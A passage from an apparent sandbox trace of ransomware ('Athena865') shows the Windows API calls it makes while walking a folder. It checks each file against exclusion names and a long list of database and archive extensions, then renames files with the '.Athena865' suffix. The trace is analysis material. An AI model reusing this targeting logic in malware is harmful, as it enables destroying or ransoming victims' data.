hHeap=0x4f0000, dwFlags=0x0, lpMem=0x547d40 | out: hHeap=0x4f0000) returned 1 [0103.613] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0103.613] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Default\\Recent\\CustomDestinations\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc7b63b20, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7b63b20, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0103.613] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.613] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.613] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0103.613] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc7b63b20, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7b63b20, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.613] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.613] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.614] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0103.614] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0103.614] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6404e40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6404e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x15c7376, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1b4dd67f29cb1962.customDestinations-ms", cAlternateFileName="1B4DD6~1.CUS")) returned 1 [0103.614] lstrcmpiW (lpString1="1b4dd67f29cb1962.customDestinations-ms", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.614] lstrcmpiW (lpString1="1b4dd67f29cb1962.customDestinations-ms", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.614] lstrcmpiW (lpString1="1b4dd67f29cb1962.customDestinations-ms", lpString2=".") returned 1 [0103.614] lstrcmpiW (lpString1="1b4dd67f29cb1962.customDestinations-ms", lpString2="..") returned 1 [0103.614] lstrcmpiW (lpString1="1b4dd67f29cb1962.customDestinations-ms", lpString2="windows") returned -1 [0103.614] lstrcmpiW (lpString1="1b4dd67f29cb1962.customDestinations-ms", lpString2="bootmgr") returned -1 [0103.614] lstrcmpiW (lpString1="1b4dd67f29cb1962.customDestinations-ms", lpString2="temp") returned -1 [0103.614] lstrcmpiW (lpString1="1b4dd67f29cb1962.customDestinations-ms", lpString2="pagefile.sys") returned -1 [0103.614] lstrcmpiW (lpString1="1b4dd67f29cb1962.customDestinations-ms", lpString2="boot") returned -1 [0103.614] lstrcmpiW (lpString1="1b4dd67f29cb1962.customDestinations-ms", lpString2="ids.txt") returned -1 [0103.614] lstrcmpiW (lpString1="1b4dd67f29cb1962.customDestinations-ms", lpString2="ntuser.dat") returned -1 [0103.614] lstrcmpiW (lpString1="1b4dd67f29cb1962.customDestinations-ms", lpString2="perflogs") returned -1 [0103.614] lstrcmpiW (lpString1="1b4dd67f29cb1962.customDestinations-ms", lpString2="MSBuild") returned -1 [0103.614] lstrlenW (lpString="1b4dd67f29cb1962.customDestinations-ms") returned 38 [0103.614] lstrcpyW (in: lpString1=0x241e8c0, lpString2="1b4dd67f29cb1962.customDestinations-ms" | out: lpString1="1b4dd67f29cb1962.customDestinations-ms") returned="1b4dd67f29cb1962.customDestinations-ms" [0103.614] lstrlenW (lpString="1b4dd67f29cb1962.customDestinations-ms") returned 38 [0103.614] lstrlenW (lpString="Athena865") returned 9 [0103.614] lstrcmpiW (lpString1="ations-ms", lpString2="Athena865") returned 1 [0103.614] lstrlenW (lpString=".dll") returned 4 [0103.614] lstrcmpiW (lpString1="1b4dd67f29cb1962.customDestinations-ms", lpString2=".dll") returned 1 [0103.614] lstrlenW (lpString=".lnk") returned 4 [0103.614] lstrcmpiW (lpString1="1b4dd67f29cb1962.customDestinations-ms", lpString2=".lnk") returned 1 [0103.614] lstrlenW (lpString=".ini") returned 4 [0103.614] lstrcmpiW (lpString1="1b4dd67f29cb1962.customDestinations-ms", lpString2=".ini") returned 1 [0103.614] lstrlenW (lpString=".sys") returned 4 [0103.614] lstrcmpiW (lpString1="1b4dd67f29cb1962.customDestinations-ms", lpString2=".sys") returned 1 [0103.614] lstrlenW (lpString="1b4dd67f29cb1962.customDestinations-ms") returned 38 [0103.614] lstrlenW (lpString="bak") returned 3 [0103.614] lstrcmpiW (lpString1="-ms", lpString2="bak") returned 1 [0103.615] lstrlenW (lpString="ba_") returned 3 [0103.615] lstrcmpiW (lpString1="-ms", lpString2="ba_") returned 1 [0103.615] lstrlenW (lpString="dbb") returned 3 [0103.615] lstrcmpiW (lpString1="-ms", lpString2="dbb") returned 1 [0103.615] lstrlenW (lpString="vmdk") returned 4 [0103.615] lstrcmpiW (lpString1="s-ms", lpString2="vmdk") returned -1 [0103.615] lstrlenW (lpString="rar") returned 3 [0103.615] lstrcmpiW (lpString1="-ms", lpString2="rar") returned -1 [0103.615] lstrlenW (lpString="zip") returned 3 [0103.615] lstrcmpiW (lpString1="-ms", lpString2="zip") returned -1 [0103.615] lstrlenW (lpString="tgz") returned 3 [0103.615] lstrcmpiW (lpString1="-ms", lpString2="tgz") returned -1 [0103.615] lstrlenW (lpString="vbox") returned 4 [0103.615] lstrcmpiW (lpString1="s-ms", lpString2="vbox") returned -1 [0103.615] lstrlenW (lpString="vdi") returned 3 [0103.615] lstrcmpiW (lpString1="-ms", lpString2="vdi") returned -1 [0103.615] lstrlenW (lpString="vhd") returned 3 [0103.615] lstrcmpiW (lpString1="-ms", lpString2="vhd") returned -1 [0103.615] lstrlenW (lpString="vhdx") returned 4 [0103.615] lstrcmpiW (lpString1="s-ms", lpString2="vhdx") returned -1 [0103.615] lstrlenW (lpString="avhd") returned 4 [0103.615] lstrcmpiW (lpString1="s-ms", lpString2="avhd") returned 1 [0103.615] lstrlenW (lpString="db") returned 2 [0103.615] lstrcmpiW (lpString1="ms", lpString2="db") returned 1 [0103.615] lstrlenW (lpString="db2") returned 3 [0103.615] lstrcmpiW (lpString1="-ms", lpString2="db2") returned 1 [0103.615] lstrlenW (lpString="db3") returned 3 [0103.615] lstrcmpiW (lpString1="-ms", lpString2="db3") returned 1 [0103.615] lstrlenW (lpString="dbf") returned 3 [0103.615] lstrcmpiW (lpString1="-ms", lpString2="dbf") returned 1 [0103.615] lstrlenW (lpString="mdf") returned 3 [0103.615] lstrcmpiW (lpString1="-ms", lpString2="mdf") returned 1 [0103.616] lstrlenW (lpString="mdb") returned 3 [0103.616] lstrcmpiW (lpString1="-ms", lpString2="mdb") returned 1 [0103.616] lstrlenW (lpString="sql") returned 3 [0103.616] lstrcmpiW (lpString1="-ms", lpString2="sql") returned -1 [0103.616] lstrlenW (lpString="sqlite") returned 6 [0103.616] lstrcmpiW (lpString1="ons-ms", lpString2="sqlite") returned -1 [0103.616] lstrlenW (lpString="sqlite3") returned 7 [0103.616] lstrcmpiW (lpString1="ions-ms", lpString2="sqlite3") returned -1 [0103.616] lstrlenW (lpString="sqlitedb") returned 8 [0103.616] lstrcmpiW (lpString1="tions-ms", lpString2="sqlitedb") returned 1 [0103.616] lstrlenW (lpString="xml") returned 3 [0103.616] lstrcmpiW (lpString1="-ms", lpString2="xml") returned -1 [0103.616] lstrlenW (lpString="$er") returned 3 [0103.616] lstrcmpiW (lpString1="-ms", lpString2="$er") returned 1 [0103.616] lstrlenW (lpString="4dd") returned 3 [0103.616] lstrcmpiW (lpString1="-ms", lpString2="4dd") returned 1 [0103.616] lstrlenW (lpString="4dl") returned 3 [0103.616] lstrcmpiW (lpString1="-ms", lpString2="4dl") returned 1 [0103.616] lstrlenW (lpString="^^^") returned 3 [0103.616] lstrcmpiW (lpString1="-ms", lpString2="^^^") returned 1 [0103.616] lstrlenW (lpString="abs") returned 3 [0103.616] lstrcmpiW (lpString1="-ms", lpString2="abs") returned 1 [0103.616] lstrlenW (lpString="abx") returned 3 [0103.616] lstrcmpiW (lpString1="-ms", lpString2="abx") returned 1 [0103.616] lstrlenW (lpString="accdb") returned 5 [0103.616] lstrcmpiW (lpString1="ns-ms", lpString2="accdb") returned 1 [0103.616] lstrlenW (lpString="accdc") returned 5 [0103.616] lstrcmpiW (lpString1="ns-ms", lpString2="accdc") returned 1 [0103.616] lstrlenW (lpString="accde") returned 5 [0103.616] lstrcmpiW (lpString1="ns-ms", lpString2="accde") returned 1 [0103.616] lstrlenW (lpString="accdr") returned 5 [0103.616] lstrcmpiW (lpString1="ns-ms", lpString2="accdr") returned 1 [0103.617] lstrlenW (lpString="accdt") returned 5 [0103.617] lstrcmpiW (lpString1="ns-ms", lpString2="accdt") returned 1 [0103.617] lstrlenW (lpString="accdw") returned 5 [0103.617] lstrcmpiW (lpString1="ns-ms", lpString2="accdw") returned 1 [0103.617] lstrlenW (lpString="accft") returned 5 [0103.617] lstrcmpiW (lpString1="ns-ms", lpString2="accft") returned 1 [0103.617] lstrlenW (lpString="adb") returned 3 [0103.617] lstrcmpiW (lpString1="-ms", lpString2="adb") returned 1 [0103.617] lstrlenW (lpString="adb") returned 3 [0103.617] lstrcmpiW (lpString1="-ms", lpString2="adb") returned 1 [0103.617] lstrlenW (lpString="ade") returned 3 [0103.617] lstrcmpiW (lpString1="-ms", lpString2="ade") returned 1 [0103.617] lstrlenW (lpString="adf") returned 3 [0103.617] lstrcmpiW (lpString1="-ms", lpString2="adf") returned 1 [0103.617] lstrlenW (lpString="adn") returned 3 [0103.617] lstrcmpiW (lpString1="-ms", lpString2="adn") returned 1 [0103.617] lstrlenW (lpString="adp") returned 3 [0103.617] lstrcmpiW (lpString1="-ms", lpString2="adp") returned 1 [0103.617] lstrlenW (lpString="alf") returned 3 [0103.617] lstrcmpiW (lpString1="-ms", lpString2="alf") returned 1 [0103.617] lstrlenW (lpString="ask") returned 3 [0103.617] lstrcmpiW (lpString1="-ms", lpString2="ask") returned 1 [0103.617] lstrlenW (lpString="btr") returned 3 [0103.617] lstrcmpiW (lpString1="-ms", lpString2="btr") returned 1 [0103.617] lstrlenW (lpString="cat") returned 3 [0103.617] lstrcmpiW (lpString1="-ms", lpString2="cat") returned 1 [0103.617] lstrlenW (lpString="cdb") returned 3 [0103.617] lstrcmpiW (lpString1="-ms", lpString2="cdb") returned 1 [0103.617] lstrlenW (lpString="ckp") returned 3 [0103.617] lstrcmpiW (lpString1="-ms", lpString2="ckp") returned 1 [0103.617] lstrlenW (lpString="cma") returned 3 [0103.618] lstrcmpiW (lpString1="-ms", lpString2="cma") returned 1 [0103.618] lstrlenW (lpString="cpd") returned 3 [0103.618] lstrcmpiW (lpString1="-ms", lpString2="cpd") returned 1 [0103.618] lstrlenW (lpString="dacpac") returned 6 [0103.618] lstrcmpiW (lpString1="ons-ms", lpString2="dacpac") returned 1 [0103.618] lstrlenW (lpString="dad") returned 3 [0103.618] lstrcmpiW (lpString1="-ms", lpString2="dad") returned 1 [0103.618] lstrlenW (lpString="dadiagrams") returned 10 [0103.618] lstrcmpiW (lpString1="nations-ms", lpString2="dadiagrams") returned 1 [0103.618] lstrlenW (lpString="daschema") returned 8 [0103.618] lstrcmpiW (lpString1="tions-ms", lpString2="daschema") returned 1 [0103.618] lstrlenW (lpString="db-journal") returned 10 [0103.618] lstrcmpiW (lpString1="nations-ms", lpString2="db-journal") returned 1 [0103.618] lstrlenW (lpString="db-shm") returned 6 [0103.618] lstrcmpiW (lpString1="ons-ms", lpString2="db-shm") returned 1 [0103.618] lstrlenW (lpString="db-wal") returned 6 [0103.618] lstrcmpiW (lpString1="ons-ms", lpString2="db-wal") returned 1 [0103.618] lstrlenW (lpString="dbc") returned 3 [0103.618] lstrcmpiW (lpString1="-ms", lpString2="dbc") returned 1 [0103.618] lstrlenW (lpString="dbs") returned 3 [0103.618] lstrcmpiW (lpString1="-ms", lpString2="dbs") returned 1 [0103.618] lstrlenW (lpString="dbt") returned 3 [0103.618] lstrcmpiW (lpString1="-ms", lpString2="dbt") returned 1 [0103.618] lstrlenW (lpString="dbv") returned 3 [0103.618] lstrcmpiW (lpString1="-ms", lpString2="dbv") returned 1 [0103.618] lstrlenW (lpString="dbx") returned 3 [0103.618] lstrcmpiW (lpString1="-ms", lpString2="dbx") returned 1 [0103.618] lstrlenW (lpString="dcb") returned 3 [0103.618] lstrcmpiW (lpString1="-ms", lpString2="dcb") returned 1 [0103.618] lstrlenW (lpString="dct") returned 3 [0103.618] lstrcmpiW (lpString1="-ms", lpString2="dct") returned 1 [0103.619] lstrlenW (lpString="dcx") returned 3 [0103.619] lstrcmpiW (lpString1="-ms", lpString2="dcx") returned 1 [0103.619] lstrlenW (lpString="ddl") returned 3 [0103.619] lstrcmpiW (lpString1="-ms", lpString2="ddl") returned 1 [0103.619] lstrlenW (lpString="dlis") returned 4 [0103.619] lstrcmpiW (lpString1="s-ms", lpString2="dlis") returned 1 [0103.619] lstrlenW (lpString="dp1") returned 3 [0103.619] lstrcmpiW (lpString1="-ms", lpString2="dp1") returned 1 [0103.619] lstrlenW (lpString="dqy") returned 3 [0103.619] lstrcmpiW (lpString1="-ms", lpString2="dqy") returned 1 [0103.619] lstrlenW (lpString="dsk") returned 3 [0103.619] lstrcmpiW (lpString1="-ms", lpString2="dsk") returned 1 [0103.619] lstrlenW (lpString="dsn") returned 3 [0103.619] lstrcmpiW (lpString1="-ms", lpString2="dsn") returned 1 [0103.619] lstrlenW (lpString="dtsx") returned 4 [0103.619] lstrcmpiW (lpString1="s-ms", lpString2="dtsx") returned 1 [0103.619] lstrlenW (lpString="dxl") returned 3 [0103.619] lstrcmpiW (lpString1="-ms", lpString2="dxl") returned 1 [0103.619] lstrlenW (lpString="eco") returned 3 [0103.619] lstrcmpiW (lpString1="-ms", lpString2="eco") returned 1 [0103.619] lstrlenW (lpString="ecx") returned 3 [0103.619] lstrcmpiW (lpString1="-ms", lpString2="ecx") returned 1 [0103.619] lstrlenW (lpString="edb") returned 3 [0103.619] lstrcmpiW (lpString1="-ms", lpString2="edb") returned 1 [0103.619] lstrlenW (lpString="epim") returned 4 [0103.619] lstrcmpiW (lpString1="s-ms", lpString2="epim") returned 1 [0103.619] lstrlenW (lpString="fcd") returned 3 [0103.619] lstrcmpiW (lpString1="-ms", lpString2="fcd") returned 1 [0103.619] lstrlenW (lpString="fdb") returned 3 [0103.619] lstrcmpiW (lpString1="-ms", lpString2="fdb") returned 1 [0103.619] lstrlenW (lpString="fic") returned 3 [0103.619] lstrcmpiW (lpString1="-ms", lpString2="fic") returned 1 [0103.619] lstrlenW (lpString="flexolibrary") returned 12 [0103.620] lstrcmpiW (lpString1="tinations-ms", lpString2="flexolibrary") returned 1 [0103.620] lstrlenW (lpString="fm5") returned 3 [0103.620] lstrcmpiW (lpString1="-ms", lpString2="fm5") returned 1 [0103.620] lstrlenW (lpString="fmp") returned 3 [0103.620] lstrcmpiW (lpString1="-ms", lpString2="fmp") returned 1 [0103.620] lstrlenW (lpString="fmp12") returned 5 [0103.620] lstrcmpiW (lpString1="ns-ms", lpString2="fmp12") returned 1 [0103.620] lstrlenW (lpString="fmpsl") returned 5 [0103.620] lstrcmpiW (lpString1="ns-ms", lpString2="fmpsl") returned 1 [0103.620] lstrlenW (lpString="fol") returned 3 [0103.620] lstrcmpiW (lpString1="-ms", lpString2="fol") returned 1 [0103.620] lstrlenW (lpString="fp3") returned 3 [0103.620] lstrcmpiW (lpString1="-ms", lpString2="fp3") returned 1 [0103.620] lstrlenW (lpString="fp4") returned 3 [0103.620] lstrcmpiW (lpString1="-ms", lpString2="fp4") returned 1 [0103.620] lstrlenW (lpString="fp5") returned 3 [0103.620] lstrcmpiW (lpString1="-ms", lpString2="fp5") returned 1 [0103.620] lstrlenW (lpString="fp7") returned 3 [0103.620] lstrcmpiW (lpString1="-ms", lpString2="fp7") returned 1 [0103.620] lstrlenW (lpString="fpt") returned 3 [0103.620] lstrcmpiW (lpString1="-ms", lpString2="fpt") returned 1 [0103.620] lstrlenW (lpString="frm") returned 3 [0103.620] lstrcmpiW (lpString1="-ms", lpString2="frm") returned 1 [0103.620] lstrlenW (lpString="gdb") returned 3 [0103.620] lstrcmpiW (lpString1="-ms", lpString2="gdb") returned 1 [0103.620] lstrlenW (lpString="gdb") returned 3 [0103.620] lstrcmpiW (lpString1="-ms", lpString2="gdb") returned 1 [0103.620] lstrlenW (lpString="grdb") returned 4 [0103.620] lstrcmpiW (lpString1="s-ms", lpString2="grdb") returned 1 [0103.620] lstrlenW (lpString="gwi") returned 3 [0103.620] lstrcmpiW (lpString1="-ms", lpString2="gwi") returned 1 [0103.621] lstrlenW (lpString="hdb") returned 3 [0103.621] lstrcmpiW (lpString1="-ms", lpString2="hdb") returned 1 [0103.621] lstrlenW (lpString="his") returned 3 [0103.621] lstrcmpiW (lpString1="-ms", lpString2="his") returned 1 [0103.621] lstrlenW (lpString="ib") returned 2 [0103.621] lstrcmpiW (lpString1="ms", lpString2="ib") returned 1 [0103.621] lstrlenW (lpString="idb") returned 3 [0103.621] lstrcmpiW (lpString1="-ms", lpString2="idb") returned 1 [0103.621] lstrlenW (lpString="ihx") returned 3 [0103.621] lstrcmpiW (lpString1="-ms", lpString2="ihx") returned 1 [0103.621] lstrlenW (lpString="itdb") returned 4 [0103.621] lstrcmpiW (lpString1="s-ms", lpString2="itdb") returned 1 [0103.621] lstrlenW (lpString="itw") returned 3 [0103.621] lstrcmpiW (lpString1="-ms", lpString2="itw") returned 1 [0103.621] lstrlenW (lpString="jet") returned 3 [0103.621] lstrcmpiW (lpString1="-ms", lpString2="jet") returned 1 [0103.621] lstrlenW (lpString="jtx") returned 3 [0103.621] lstrcmpiW (lpString1="-ms", lpString2="jtx") returned 1 [0103.621] lstrlenW (lpString="kdb") returned 3 [0103.621] lstrcmpiW (lpString1="-ms", lpString2="kdb") returned 1 [0103.621] lstrlenW (lpString="kexi") returned 4 [0103.621] lstrcmpiW (lpString1="s-ms", lpString2="kexi") returned 1 [0103.621] lstrlenW (lpString="kexic") returned 5 [0103.621] lstrcmpiW (lpString1="ns-ms", lpString2="kexic") returned 1 [0103.621] lstrlenW (lpString="kexis") returned 5 [0103.621] lstrcmpiW (lpString1="ns-ms", lpString2="kexis") returned 1 [0103.621] lstrlenW (lpString="lgc") returned 3 [0103.621] lstrcmpiW (lpString1="-ms", lpString2="lgc") returned 1 [0103.621] lstrlenW (lpString="lwx") returned 3 [0103.621] lstrcmpiW (lpString1="-ms", lpString2="lwx") returned 1 [0103.621] lstrlenW (lpString="maf") returned 3 [0103.621] lstrcmpiW (lpString1="-ms", lpString2="maf") returned 1 [0103.621] lstrlenW (lpString="maq") returned 3 [0103.622] lstrcmpiW (lpString1="-ms", lpString2="maq") returned 1 [0103.622] lstrlenW (lpString="mar") returned 3 [0103.622] lstrcmpiW (lpString1="-ms", lpString2="mar") returned 1 [0103.622] lstrlenW (lpString="marshal") returned 7 [0103.622] lstrcmpiW (lpString1="ions-ms", lpString2="marshal") returned -1 [0103.622] lstrlenW (lpString="mas") returned 3 [0103.622] lstrcmpiW (lpString1="-ms", lpString2="mas") returned 1 [0103.622] lstrlenW (lpString="mav") returned 3 [0103.622] lstrcmpiW (lpString1="-ms", lpString2="mav") returned 1 [0103.622] lstrlenW (lpString="maw") returned 3 [0103.622] lstrcmpiW (lpString1="-ms", lpString2="maw") returned 1 [0103.622] lstrlenW (lpString="mdbhtml") returned 7 [0103.622] lstrcmpiW (lpString1="ions-ms", lpString2="mdbhtml") returned -1 [0103.622] lstrlenW (lpString="mdn") returned 3 [0103.622] lstrcmpiW (lpString1="-ms", lpString2="mdn") returned 1 [0103.622] lstrlenW (lpString="mdt") returned 3 [0103.622] lstrcmpiW (lpString1="-ms", lpString2="mdt") returned 1 [0103.622] lstrlenW (lpString="mfd") returned 3 [0103.622] lstrcmpiW (lpString1="-ms", lpString2="mfd") returned 1 [0103.622] lstrlenW (lpString="mpd") returned 3 [0103.622] lstrcmpiW (lpString1="-ms", lpString2="mpd") returned 1 [0103.622] lstrlenW (lpString="mrg") returned 3 [0103.622] lstrcmpiW (lpString1="-ms", lpString2="mrg") returned 1 [0103.622] lstrlenW (lpString="mud") returned 3 [0103.622] lstrcmpiW (lpString1="-ms", lpString2="mud") returned -1 [0103.622] lstrlenW (lpString="mwb") returned 3 [0103.622] lstrcmpiW (lpString1="-ms", lpString2="mwb") returned -1 [0103.622] lstrlenW (lpString="myd") returned 3 [0103.622] lstrcmpiW (lpString1="-ms", lpString2="myd") returned -1 [0103.622] lstrlenW (lpString="ndf") returned 3 [0103.622] lstrcmpiW (lpString1="-ms", lpString2="ndf") returned -1 [0103.622] lstrlenW (lpString="nnt") returned 3 [0103.622] lstrcmpiW (lpString1="-ms", lpString2="nnt") returned -1 [0103.623] lstrlenW (lpString="nrmlib") returned 6 [0103.623] lstrcmpiW (lpString1="ons-ms", lpString2="nrmlib") returned 1 [0103.623] lstrlenW (lpString="ns2") returned 3 [0103.623] lstrcmpiW (lpString1="-ms", lpString2="ns2") returned -1 [0103.623] lstrlenW (lpString="ns3") returned 3 [0103.623] lstrcmpiW (lpString1="-ms", lpString2="ns3") returned -1 [0103.623] lstrlenW (lpString="ns4") returned 3 [0103.623] lstrcmpiW (lpString1="-ms", lpString2="ns4") returned -1 [0103.623] lstrlenW (lpString="nsf") returned 3 [0103.623] lstrcmpiW (lpString1="-ms", lpString2="nsf") returned -1 [0103.623] lstrlenW (lpString="nv") returned 2 [0103.623] lstrcmpiW (lpString1="ms", lpString2="nv") returned -1 [0103.623] lstrlenW (lpString="nv2") returned 3 [0103.623] lstrcmpiW (lpString1="-ms", lpString2="nv2") returned -1 [0103.623] lstrlenW (lpString="nwdb") returned 4 [0103.623] lstrcmpiW (lpString1="s-ms", lpString2="nwdb") returned 1 [0103.623] lstrlenW (lpString="nyf") returned 3 [0103.623] lstrcmpiW (lpString1="-ms", lpString2="nyf") returned -1 [0103.623] lstrlenW (lpString="odb") returned 3 [0103.623] lstrcmpiW (lpString1="-ms", lpString2="odb") returned -1 [0103.623] lstrlenW (lpString="odb") returned 3 [0103.623] lstrcmpiW (lpString1="-ms", lpString2="odb") returned -1 [0103.623] lstrlenW (lpString="oqy") returned 3 [0103.623] lstrcmpiW (lpString1="-ms", lpString2="oqy") returned -1 [0103.623] lstrlenW (lpString="ora") returned 3 [0103.623] lstrcmpiW (lpString1="-ms", lpString2="ora") returned -1 [0103.623] lstrlenW (lpString="orx") returned 3 [0103.623] lstrcmpiW (lpString1="-ms", lpString2="orx") returned -1 [0103.623] lstrlenW (lpString="owc") returned 3 [0103.623] lstrcmpiW (lpString1="-ms", lpString2="owc") returned -1 [0103.623] lstrlenW (lpString="p96") returned 3 [0103.623] lstrcmpiW (lpString1="-ms", lpString2="p96") returned -1 [0103.623] lstrlenW (lpString="p97") returned 3 [0103.624] lstrcmpiW (lpString1="-ms", lpString2="p97") returned -1 [0103.624] lstrlenW (lpString="pan") returned 3 [0103.624] lstrcmpiW (lpString1="-ms", lpString2="pan") returned -1 [0103.624] lstrlenW (lpString="pdb") returned 3 [0103.624] lstrcmpiW (lpString1="-ms", lpString2="pdb") returned -1 [0103.624] lstrlenW (lpString="pdm") returned 3 [0103.624] lstrcmpiW (lpString1="-ms", lpString2="pdm") returned -1 [0103.624] lstrlenW (lpString="pnz") returned 3 [0103.624] lstrcmpiW (lpString1="-ms", lpString2="pnz") returned -1 [0103.624] lstrlenW (lpString="qry") returned 3 [0103.624] lstrcmpiW (lpString1="-ms", lpString2="qry") returned -1 [0103.624] lstrlenW (lpString="qvd") returned 3 [0103.624] lstrcmpiW (lpString1="-ms", lpString2="qvd") returned -1 [0103.624] lstrlenW (lpString="rbf") returned 3 [0103.624] lstrcmpiW (lpString1="-ms", lpString2="rbf") returned -1 [0103.624] lstrlenW (lpString="rctd") returned 4 [0103.624] lstrcmpiW (lpString1="s-ms", lpString2="rctd") returned 1 [0103.624] lstrlenW (lpString="rod") returned 3 [0103.624] lstrcmpiW (lpString1="-ms", lpString2="rod") returned -1 [0103.624] lstrlenW (lpString="rodx") returned 4 [0103.624] lstrcmpiW (lpString1="s-ms", lpString2="rodx") returned 1 [0103.624] lstrlenW (lpString="rpd") returned 3 [0103.624] lstrcmpiW (lpString1="-ms", lpString2="rpd") returned -1 [0103.624] lstrlenW (lpString="rsd") returned 3 [0103.624] lstrcmpiW (lpString1="-ms", lpString2="rsd") returned -1 [0103.624] lstrlenW (lpString="sas7bdat") returned 8 [0103.624] lstrcmpiW (lpString1="tions-ms", lpString2="sas7bdat") returned 1 [0103.624] lstrlenW (lpString="sbf") returned 3 [0103.624] lstrcmpiW (lpString1="-ms", lpString2="sbf") returned -1 [0103.624] lstrlenW (lpString="scx") returned 3 [0103.624] lstrcmpiW (lpString1="-ms", lpString2="scx") returned -1 [0103.624] lstrlenW (lpString="sdb") returned 3 [0103.624] lstrcmpiW (lpString1="-ms", lpString2="sdb") returned -1 [0103.625] lstrlenW (lpString="sdc") returned 3 [0103.625] lstrcmpiW (lpString1="-ms", lpString2="sdc") returned -1 [0103.625] lstrlenW (lpString="sdf") returned 3 [0103.625] lstrcmpiW (lpString1="-ms", lpString2="sdf") returned -1 [0103.625] lstrlenW (lpString="sis") returned 3 [0103.625] lstrcmpiW (lpString1="-ms", lpString2="sis") returned -1 [0103.625] lstrlenW (lpString="spq") returned 3 [0103.625] lstrcmpiW (lpString1="-ms", lpString2="spq") returned -1 [0103.625] lstrlenW (lpString="te") returned 2 [0103.625] lstrcmpiW (lpString1="ms", lpString2="te") returned -1 [0103.625] lstrlenW (lpString="teacher") returned 7 [0103.625] lstrcmpiW (lpString1="ions-ms", lpString2="teacher") returned -1 [0103.625] lstrlenW (lpString="tmd") returned 3 [0103.625] lstrcmpiW (lpString1="-ms", lpString2="tmd") returned -1 [0103.625] lstrlenW (lpString="tps") returned 3 [0103.625] lstrcmpiW (lpString1="-ms", lpString2="tps") returned -1 [0103.625] lstrlenW (lpString="trc") returned 3 [0103.625] lstrcmpiW (lpString1="-ms", lpString2="trc") returned -1 [0103.625] lstrlenW (lpString="trc") returned 3 [0103.625] lstrcmpiW (lpString1="-ms", lpString2="trc") returned -1 [0103.625] lstrlenW (lpString="trm") returned 3 [0103.625] lstrcmpiW (lpString1="-ms", lpString2="trm") returned -1 [0103.625] lstrlenW (lpString="udb") returned 3 [0103.625] lstrcmpiW (lpString1="-ms", lpString2="udb") returned -1 [0103.625] lstrlenW (lpString="udl") returned 3 [0103.625] lstrcmpiW (lpString1="-ms", lpString2="udl") returned -1 [0103.625] lstrlenW (lpString="usr") returned 3 [0103.625] lstrcmpiW (lpString1="-ms", lpString2="usr") returned -1 [0103.625] lstrlenW (lpString="v12") returned 3 [0103.625] lstrcmpiW (lpString1="-ms", lpString2="v12") returned -1 [0103.625] lstrlenW (lpString="vis") returned 3 [0103.625] lstrcmpiW (lpString1="-ms", lpString2="vis") returned -1 [0103.625] lstrlenW (lpString="vpd") returned 3 [0103.625] lstrcmpiW (lpString1="-ms", lpString2="vpd") returned -1 [0103.626] lstrlenW (lpString="vvv") returned 3 [0103.626] lstrcmpiW (lpString1="-ms", lpString2="vvv") returned -1 [0103.626] lstrlenW (lpString="wdb") returned 3 [0103.626] lstrcmpiW (lpString1="-ms", lpString2="wdb") returned -1 [0103.626] lstrlenW (lpString="wmdb") returned 4 [0103.626] lstrcmpiW (lpString1="s-ms", lpString2="wmdb") returned -1 [0103.626] lstrlenW (lpString="wrk") returned 3 [0103.626] lstrcmpiW (lpString1="-ms", lpString2="wrk") returned -1 [0103.626] lstrlenW (lpString="xdb") returned 3 [0103.626] lstrcmpiW (lpString1="-ms", lpString2="xdb") returned -1 [0103.626] lstrlenW (lpString="xld") returned 3 [0103.626] lstrcmpiW (lpString1="-ms", lpString2="xld") returned -1 [0103.626] lstrlenW (lpString="xmlff") returned 5 [0103.626] lstrcmpiW (lpString1="ns-ms", lpString2="xmlff") returned -1 [0103.626] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\Default\\Recent\\CustomDestinations\\1b4dd67f29cb1962.customDestinations-ms.Athena865") returned 108 [0103.626] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\Default\\Recent\\CustomDestinations\\1b4dd67f29cb1962.customDestinations-ms" (normalized: "c:\\documents and settings\\default\\recent\\customdestinations\\1b4dd67f29cb1962.customdestinations-ms"), lpNewFileName="C:\\Documents and 